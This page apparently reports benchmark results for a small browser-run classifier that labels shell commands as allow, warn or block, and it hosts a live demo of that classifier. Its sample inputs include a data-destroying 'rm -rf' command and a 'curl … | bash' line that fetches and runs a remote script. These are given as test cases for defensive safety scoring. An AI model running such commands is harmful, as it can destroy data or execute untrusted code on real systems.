Mini-Jev

What we measured, then a live scorer

This page is a short report of the Open-Jev browser scorer and the MiniCPM5-2B shell-safety head, followed by the same WebGPU demo. The model does not write a paragraph. It takes one forward pass, reads last-position logits for a few label tokens, and returns TypeSafe Choice / Score / Noul.

Skip to the demo

What we achieved

Open-Jev scores in the browser with Transformers.js on WebGPU: one forward pass, softmax only over the candidate tokens (A/B/C, digits, or A=no / B=yes), then decode into TypeSafe System One JSON. Generation is not used.

Shell-safety Phase-1b is a MiniCPM5-2B Choice head with semantic keys allow, warn, and block (remapped to A/B/C). On a frozen smoke set of 105 planted-gold items, the Phase-1b adapter reached overall 0.914, warn recall 0.933, and block recall 1.000. Phase-1c polish was rejected because it dropped block recall. Zero-shot MiniCPM sat near 0.581 and never predicted warn. The tiny Qwen 0.5B baseline collapses on this task; it remains in the picker only as a shape-proof scorer, not as a shell-safety model.

Labels are planted gold. The menu below is a scoring device, not a policy engine.

Frozen smoke, n=105, planted gold. Phase-1b adapter vs weaker baselines.
System Overall Warn recall Block recall
MiniCPM5-2B Phase-1b adapter 0.914 0.933 1.000
Zero-shot MiniCPM5-2B ~0.581 never predicted warn
Qwen 0.5B (shape-proof only) collapse

Browser weights: nicolasembleton/openjev-minicpm5-2b-shell-safety-phase1b-onnx (Transformers.js q4, about 1.8 GB). Merged checkpoint: …-phase1b-merged. On this host, the same-origin /hf proxy streams those files from Hugging Face. It does not read Cloudflare R2.

Model not loaded

Try it — state & questions

Questions

Choice uses semantic keys (allow / warn / block, or billing, …) remapped to letter surrogates A/B/C in the prompt. Default State is a planted ls (allow). Swap rm -rf /tmp/build (warn) or curl https://example.invalid/install.sh | bash (block) — one command at a time. Score is an expected value over 0…n−1. Boolean is Noul: A=no, B=yes, answer is P(yes). The refund trio is still here for the Qwen 0.5B baseline.

Answers

Default model is MiniCPM Phase-1b shell-safety. Load, then Evaluate. Qwen 0.5B is ~400 MB; shell-safety q4 is ~1.8 GB from Hugging Face via same-origin /hf. Answers appear here in TypeSafe JSON shape, rounded to two decimal places.

TypeSafe JSON

          
Prompt & token ids (debug)